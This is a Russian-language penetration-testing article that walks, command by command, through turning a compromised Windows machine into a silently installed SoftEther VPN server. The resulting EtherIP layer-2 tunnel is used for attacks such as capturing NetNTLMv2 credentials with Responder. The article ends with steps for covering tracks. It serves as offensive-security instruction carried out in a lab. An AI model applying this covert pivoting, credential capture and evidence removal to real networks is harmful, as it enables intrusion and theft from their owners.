Witchhammer. Пост-эксплуатация Windows с использованием виртуальных VPN-каналов
Пивотинг против Windows является достаточно сложным процессом, особенно если мы говорим о построении туннелей. В этой статье я продемонстрирую новый найденный мною метод пост-эксплуатации Windows с использованием SoftEther без виртуальной машины.
Caster - Witchhammer Genre: Offensive, Experimenal Subgenre: Pivoting Label: Teletype Release Date: 25 March 2024
Disclaimer
Статья носит ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и тайны переписки будет преследоваться по закону.
Автор данной статьи и ресурс Teletype не несут ответственности за любой причиненный вред с помощью данной статьи.
Закон о блокировке материалов, связанными с обходом фильтрации VPN
В данной статье продемонстрирован метод пост-эксплуатации Windows с помощью построения VPN-туннелей, однако данная статья никаким образом не является инструкцией по обходу блокировок ресурсов, запрещенных на территории Российской Федерации.
VPN может использоваться как метод обхода фильтрации, так и для построения сетевых инфраструктур в легитимных целях. Важно понимать этот нюанс.
Intro
Пивотинг является процессом пост-эксплуатации, при котором пентестер пытается расширить своё присутствие сети, минуя помехи, средства защиты и сегментацию. Термин "пивотинг" возник от слова "pivot", которое переводится как "вращаться".
На самом деле нет единого мнения о том, какой из методов пивотинга лучше. Все зависит от индивидуальных особенностей сетевой инфраструктуры.
В своем исследовании я расскажу о туннельном пивотинге, когда злоумышленник может построить L2-туннель между собой и скомпрометированной машиной Windows. Туннель L2 открывает перед злоумышленником возможности атак канального уровня. (ARP Spoofing, LLMNR/NBT-NS Poisoning и др)
В статье будет сделан акцент только на практике, все в меру, без лишних слов.
Концепция
Моя идея заключается в использовании SoftEther. Это решение представляет собой возможность создания VPN-сетей для построения инфраструктур. Я выбрал его потому, что:
- Открытый исходный код, кроссплатформенность
- Поддерживает необходимые протоколы туннелирования для создания Ethernet-туннелей
- Не требует перезагрузки и отключения брандмауэра
- Нет проблем с AV, так как SoftEther является легитимным программным обеспечением.
Концепция заключается в установке SoftEther на Windows в тихом режиме с помощью командной строки. Я продемонстрирую именно этот сценарий, поскольку не каждый раз у пентестера будет доступ к графическому интерфейсу во время пентеста. С помощью SoftEther мы превратим скомпрометированную Windows-машину в VPN-сервер, поддерживающий Ethernet-туннели.
Следует иметь в виду, что для работы с этим вектором потребуются права администратора. Так как тебе придется устанавливать программное обеспечение, работать с интерфейсами и мостами.
EtherIP
Скелетом этого пивотинга является протокол EtherIP. Согласно RFC 3378, он способен передавать кадры Ethernet поверх IP. Как раз то, что нужно. Можно подумать, что для этой цели подойдет Wireguard, но он является протоколом L3 и не может передавать кадры Ethernet. Важно понимать, какой протокол предназначен для работы с L2, а какой - с L3.
EtherIP инкапсулирует заголовок Ethernet в заголовок IP. Вот пример такого инкапсулированного пакета.
Сценарий
Сценарий будет выглядеть следующим образом. Атакующий находится в сети 192.168.54.0/24
, скомпрометированный Windows-хост - в сети 192.168.0.0/24
. Задача злоумышленника - получить доступ к сети 192.168.0.0/24
на уровне L2, используя EtherIP-туннель для проведения атак канального уровня. EtherIP-туннель будет установлен между Kali Linux и Windows. Машиной атакующего будет Kali Linux 2023.4
, на которую будет установлен SoftEther Client, в качестве скомпрометированного хоста выступит Windows 10 Enterprise LTSC x64
, на хост будет установлен SoftEther Server. Атакующий имеет доступ к машине Windows только через терминал, графический интерфейс отсутствует.
Эта сеть создана мной в качестве лабораторного стенда для практической демонстрации пост-эксплуатации.
Предупреждение
Данный вектор пост-эксплуатации будет работать только против реальных машин Windows, с виртуальными Windows наблюдаются проблемы с прохождением трафика из-за потенциально отсутствующего неразборчивого режима.
Конфигурация серверной части
Необходимо установить SoftEther Server на Windows. Программа установки имеет проблемы с установкой в тихом режиме, поэтому нужно будет установить программу установки SoftEther VPN Server куда-нибудь на тестовую Windows, затем скопировать всю папку "SoftEther VPN Server", запаковать ее в архив. Затем, когда ты передашь этот архив по сети на скомпрометированный хост, ты сможешь распаковать его и установить SoftEther. В данном случае понадобится установить только одну службу и можно начать работать.
C:\witchhammer>tar -xf softether.zip C:\witchhammer>cd "SoftEther VPN Server"
Ответственный момент. Для корректной работы сервера необходимо установить службу sevpnserver
. Это делается одной командой с параметром /install, при этом никаких окон об установке этой службы на стороне пользователя не появится.
C:\witchhammer\SoftEther VPN Server>vpnserver_x64.exe /install
После установки этой службы она будет запущена автоматически, проверим её состояние
C:\witchhammer\SoftEther VPN Server>sc query sevpnserver SERVICE_NAME: sevpnserver TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0
Теперь после установки службы можно приступить к процессу конфигурации серверной части, для этого используется vpncmd_x64.exe
vpncmd command - SoftEther VPN Command Line Management Utility SoftEther VPN Command Line Management Utility (vpncmd command) Version 4.43 Build 9799 (English) Compiled 2023/08/31 10:50:49 by buildsan at crosswin with OpenSSL 3.0.9 Copyright (c) 2012-2023 SoftEther VPN Project. All Rights Reserved. By using vpncmd program, the following can be achieved. 1. Management of VPN Server or VPN Bridge 2. Management of VPN Client 3. Use of VPN Tools (certificate creation and Network Traffic Speed Test Tool) Select 1, 2 or 3: 1
Для управления работы сервером также нужно создать пароль. Также нужно будет удалить виртуальный hub по умолчанию и создать свой, также указав для него пароль
VPN Server> ServerPasswordSet password VPN Server> HubDelete DEFAULT VPN Server> HubCreate Witchhammer /PASSWORD:password
Все последующие пароли в конфигурациях являются всего лишь примером, пароли придумывай сам.
После того, когда hub был создан, необходимо перейти в его параметры и настроить политику построения туннеля. Нам не нужны протоколы L2TP, L2TPRAW, поэтому для них аргумент :no
А вот параметр /ETHERIP:yes
является здесь ключевым. Именно он будет указывать ПО на то, чтобы был построен именно EtherIP-туннель. Именно он и нужен для функционирования L2-туннелей.
VPN Server> Hub Witchhammer VPN Server/Witchhammer> IPSecEnable /L2TP:no /L2TPRAW:no /ETHERIP:yes /DEFAULTHUB:Witchhammer /PSK:password
После настройки хаба и политики туннеля нужно создать бридж. Для его создания нужно знать полное имя физического интерфейса ОС. С помощью команды BridgeDeviceList
можно узнать имя интерфейса
VPN Server>BridgeDeviceList BridgeDeviceList command - Get List of Network Adapters Usable as Local Bridge Intel(R) 82574L Gigabit Network Connection (ID=0587757899) The command completed successfully.
В моём случае полное имя интерфейса - Intel(R) 82574L Gigabit Network Connection (ID=0587757899)
После того когда известно полное имя интерфейса, можно приступить к процессу создания бриджа.
VPN Server>BridgeCreate Witchhammer /DEVICE:"Intel(R) 82574L Gigabit Network Connection (ID=0587757899)" /TAP:yes
И последнее что осталось, это создать пользователя, с помощью которого атакующий сможет аутентифицироваться на сервере и инициировать подключение. Создание пользователя происходит именно в рамках настроек хаба, имей в виду
VPN Server/Witchhammer>UserCreate caster /GROUP:none /REALNAME:none /NOTE:none VPN Server/Witchhammer>UserPasswordSet caster /PASSWORD:password
На данном этапе конфигурация серверной части завершена, но нужно учесть несколько нюансов:
- Убедись что служба
Routing and Remote Access
активна, с помощью неё ОС может выполнять маршрутизацию трафика - Убедись что порт
TCP/443
не фильтруется системой на скомпрометированном хосте, так как именно этот порт и будет использоваться для подключения атакующего к серверу SoftEther
Начало пост-эксплуатации
На своей Kali Linux атакующий должен установить SoftEther Client. Его можно загрузить с официального сайта. Затем загруженный архив нужно распаковать, собрать исполняемые файлы и запустить их, задача несложная.
caster@kali:~$ sudo apt install build-essential caster@kali:~$ wget https://www.softether-download.com/files/softether/v4.43-9799-beta-2023.08.31-tree/Linux/SoftEther_VPN_Client/64bit_-_Intel_x64_or_AMD64/softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz caster@kali:~$ gunzip softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz caster@kali:~$ tar xf softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar caster@kali:~$ cd vpnclient caster@kali:~/vpnclient$ make
Однако перед построением туннеля очень важно настроить предварительно /32-маршрут до скомпрометированного хоста. Иначе при получении адреса на виртуальном интерфейсе атакующего может возникнуть разрыв туннеля. Маршрут настраивается через шлюз по умолчанию для атакующей системы
caster@kali:~$ sudo route add -net 192.168.0.183 netmask 255.255.255.255 gw 192.168.54.1
Теперь необходимо запустить службу vpnclient
и с помощью vpncmd
перейти к процессу настройки конфигурации на клиентской стороне.
caster@kali:~/vpnclient$ sudo ./vpnclient start caster@kali:~/vpnclient$ sudo ./vpncmd vpncmd command - SoftEther VPN Command Line Management Utility SoftEther VPN Command Line Management Utility (vpncmd command) Version 4.43 Build 9799 (English) Compiled 2023/08/31 10:50:49 by buildsan at crosswin with OpenSSL 3.0.9 Copyright (c) 2012-2023 SoftEther VPN Project. All Rights Reserved. By using vpncmd program, the following can be achieved. 1. Management of VPN Server or VPN Bridge 2. Management of VPN Client 3. Use of VPN Tools (certificate creation and Network Traffic Speed Test Tool) Select 1, 2 or 3: 2 Specify the host name or IP address of the computer that the destination VPN Client is operating on. If nothing is input and Enter is pressed, connection will be made to localhost (this computer). Hostname of IP Address of Destination: localhost Connected to VPN Client "localhost". VPN Client>
После подключения к панели управления клиентской службой SoftEther необходимо создать виртуальный TAP-интерфейс для взаимодействия с целевой сетью где скомпрометированный хост
VPN Client> NicCreate caster
Теперь необходимо создать конфигурацию подключения, указать адрес сервера, имя удаленного хаба и имя созданного адаптера. Обрати внимание, что адрес сервера - это адрес скомпрометированной машины, на которой был настроен сервер SoftEther.
VPN Client> AccountCreate Tunnel /SERVER:192.168.0.183:443 /HUB:Witchhammer /USERNAME:caster /NICNAME:caster
Теперь нужно настроить тип аутентификации и указать пароль. Тип аутентификации - Standard
VPN Client> AccountPassword Tunnel /PASSWORD:password /TYPE:standard
После чего можно подключиться к серверу
VPN Client> AccountConnect Tunnel
Чтобы оценить его статус, можно воспользоваться следующей командой
VPN Client>AccountStatusGet Tunnel AccountStatusGet command - Get Current VPN Connection Setting Status Item |Value ------------------------------------------+-------------------------------------------------------- VPN Connection Setting Name |Tunnel Session Status |Connection Completed (Session Established) VLAN ID |- Server Name |192.168.0.183 Port Number |TCP Port 443 Server Product Name |SoftEther VPN Server (64 bit) Server Version |4.43 Server Build |Build 9799 Connection Started at |2024-03-25 (Mon) 06:25:27 First Session has been Established since |2024-03-25 (Mon) 06:25:28 Current Session has been Established since|2024-03-25 (Mon) 06:25:28 Number of Established Sessions |1 Times Half Duplex TCP Connection Mode |No (Full Duplex Mode) VoIP / QoS Function |Enabled Number of TCP Connections |2 Maximum Number of TCP Connections |2 Encryption |Enabled (Algorithm: TLS_AES_256_GCM_SHA384) Use of Compression |No (No Compression) Physical Underlay Protocol |Standard TCP/IP (IPv4) |IPv4 UDPAccel_Ver=2 ChachaPoly_OpenSSL UDPAccel_MSS=1309 UDP Acceleration is Supported |Yes UDP Acceleration is Active |No Session Name |SID-CASTER-4 Connection Name |CID-17-1CDA4CF82B Session Key (160 bit) |13A093D2121AE90B984595DE8D5ED3539678CF4A Bridge / Router Mode |No Monitoring Mode |No Outgoing Data Size |1,218 bytes Incoming Data Size |819 bytes Outgoing Unicast Packets |1 packets Outgoing Unicast Total Size |42 bytes Outgoing Broadcast Packets |8 packets Outgoing Broadcast Total Size |656 bytes Incoming Unicast Packets |0 packets Incoming Unicast Total Size |0 bytes Incoming Broadcast Packets |1 packets Incoming Broadcast Total Size |60 bytes The command completed successfully.
Инкапсуляция в TLS
Перед тобой трафик, в момент подключения атакующего к серверу SoftEther. EtherIP будет инкапсулирован в TLS-слой, это достаточно позитивно сказывается на том, чтобы снизить вероятность компрометации действий атакующего.
Проведение сетевых атак
После всех манипуляций мы имеем виртуальный TAP-адаптер - vpn_caster
Он и будет использоваться для взаимодействия с целевой статью, когда атакующий пропивотился. На данный момент у него нет адреса, но его можно получить автоматически с помощью DHCP
caster@kali:~$ sudo dhclient -v vpn_caster
Однако стоит помнить, что новая информация о шлюзе по умолчанию может прилететь через DHCP, и новый маршрут 0.0.0.0
может повлиять на сетевую связность в системе атакующего. Поэтому, если такой маршрут появится, его следует удалить.
caster@kali:~$ sudo route del default
Proof of Concept
Теперь атакующий может проводить атаки канального уровня, для доказательства работоспособности вектора я запустил Responder и перехватил учетные данные в формате NetNTLMv2-SSP
Также атакующий может проводить и другие атаки, ARP-сканирование, etc
Запись из моей тетради
Заметание следов
Когда понадобится затереть следы, необходимо остановить службу sevpnserver
, удалить сам SoftEther и папку.
C:\witchhammer\SoftEther VPN Server>sc stop sevpnserver SERVICE_NAME: sevpnserver TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x186a0 C:\witchhammer\SoftEther VPN Server>vpnserver_x64.exe /uninstall C:\>rmdir /s /q c:\witchhammer
Outro
В этой статье я продемонстрировал свое исследование, показывающее новый способ постэксплуатации Windows с помощью Ethernet-туннелей.
Этот метод чрезвычайно экзотичен, но я доказал его практичность.